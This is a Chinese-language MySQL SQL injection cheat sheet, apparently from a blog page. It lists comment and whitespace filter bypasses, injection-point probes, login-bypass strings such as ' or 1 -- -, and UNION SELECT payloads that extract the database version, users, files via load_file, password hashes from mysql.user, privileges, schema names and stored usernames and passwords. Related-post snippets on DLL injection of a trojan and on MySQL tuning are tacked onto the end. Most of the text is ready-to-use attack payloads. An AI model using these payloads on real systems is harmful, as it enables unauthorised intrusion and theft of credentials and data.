一、基礎知識
1.注釋符
#hash comment2.空格被過濾/* c-style comment
-- - sql comment --後必須跟空格
;%00 nullbyte
` backtick ·使用在查詢最後
使用/**/或()或+代替空格%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
%0b = tab
3. 查詢注入點 真查詢有效(頁面正常返回) 假查詢無效(頁面返回錯誤)
字串型
'false
''true
"false
""true
\false
\\tru
')
數字型
and 1true
and 0 false
and truetrue
and falsefalse
1-falsereturns 1 if vulnerable
1-truereturns 0 if vulnerable
1*56 returns 56 if vulnerable
1*56 returns 1 if not vulnerable
負數和十六進製制也能判斷
登入
' or '1
' or 1 -- -
" or "" = "
" or 1 = 1 -- -
'='
like'
'=0--+
二、爆欄位
ordery by 數字 (根據返回正確錯誤猜測字段)
group by 數字 (根據返回正確錯誤猜測字段)
order by 是按字段排序
group by 是按字段分類
三、匹配 字段
and 1=1 union select 1,2,3,4,5
四、爆欄位位置
and 1=2 union select 1,2,3,4,5
可以修改id=負數, id=空置 或修改後面邏輯關係 and 1=2 目的是不讓返回select結果
union:聯合的意思,即把兩次或多次查詢結果合併起來。要求這兩個列數必須一致。
union all和union區別:union 會去除查詢結果的重複的資料,union all會顯示重複的資料。
由於列可能是特殊資料型別,可以使用null代替,所以推薦使用 union all。
mysql大於4.0的版本支援union (all) select聯合查詢
例:union all select null,null,null,null,null,null -- -
五、利用內建函式爆資訊
版本 version()
@@version
@@global.version
例 and 1=2 union all select 1,2,3,version()
當前使用者 user()
例 and 1=2 union all select 1,2,3,user()
現在連線資料庫 database()
例 and 1=2 union all select 1,2,3,database()
載入檔案路徑需要使用\\ 由於單引號可能被過濾推薦使用十六進製制
load_file('c:\\boot.ini')
load_file(0x633a5c5c626f6f742e696e)
例 and 1=2 union all select 1,2,3,load_file(0x633a5c5c626f6f742e696e)
檔案必須在伺服器上。
load_file()函式操作檔案的當前目錄是@@datadir 。
mysql使用者必須擁有對此檔案讀取的許可權。
魔術引號關閉。
檔案大小必須小於 max_allowed_packet。
@@max_allowed_packet的預設大小是1047552 位元組.
mysql 賬戶和密碼
user from mysql.user
password from mysql.user
例 and 1=2 union all select 1,2,3,password from mysql.user
mysql的data目錄
@@datadir
mysql安裝目錄
@@basedir
日誌檔案路徑
@@general_log_file
資料庫埠
@@port
後48位為伺服器mac
uuid()
作業系統
@@global.version_compile_os
六、查詢合併
使用concat() 合併
concat()函式可以多個結果合併乙個concat(user(),『|』,@@version,』|『,database()),其中 | 可以用0x7c表示
例 and 1=2 union all select 1,concat(user(),0x7c,@@version,0x7c,database()),3 -- -
concat_ws()函式也可以做到
七、檢視許可權
and 1=2 union all select 1,null,group_concat(distinct grantee,0x7c,privilege_type,0x7c,is_grantable) from information_schema.user_privileges -- -
返回正確許可權很高
and (select count(*) from mysql.user)>0 -- -
八、讀取表名
讀取所有表名
select group_concat(schema_name) from information_schema.schemata
讀取當前庫表名
group_concat(table_name) from information_schema.tables where table_schema =database()
九、讀取列名
select group_concat(column_name) from information_schema.columns where table_schema=0x庫十六進製制 and table_name=0x表的十六進製制
十、查詢指定值
select group_concat(列名1,0x7c,列名2) from 資料庫名.表名
問題:編碼不一致可以用時hex
unhex(hex(user()))
例 and 1=2 union all select 1,2, (select unhex(hex(group_concat(id,0x7c,username,0x7c,password))) from security.users) -- -
DLL注入程式的一般步驟
1 取得宿主程序 即要注入木馬的程序 的程序id dwremoteprocessid 2 取得dll的完全路徑,並將其轉換為寬字元模式pszlibfilename 3 利用windows api openprocess開啟宿主程序,應該開啟下列選項 a.process create thread 允...
MySql優化的一般步驟
mysql優化的一般步驟 1.通過show status 命令了解各種sql的執行效率 2.定位執行效率較低的sql語句 dql出現問題的概率較dml的大 mysql支援把慢查詢語句記錄到日誌檔案中。3.通過explain分析低效率的sql語句的執 況 4.常用的優化措施是新增索引。新增索引,我們不...
MySql的一般命令淺述
1 查詢當前正在使用的資料庫 select database 2 mysql使用步驟 show databases 顯示有哪些資料庫 use xx 使用某乙個資料庫 create table yy id int not null,name varchar 20 not null,age int nu...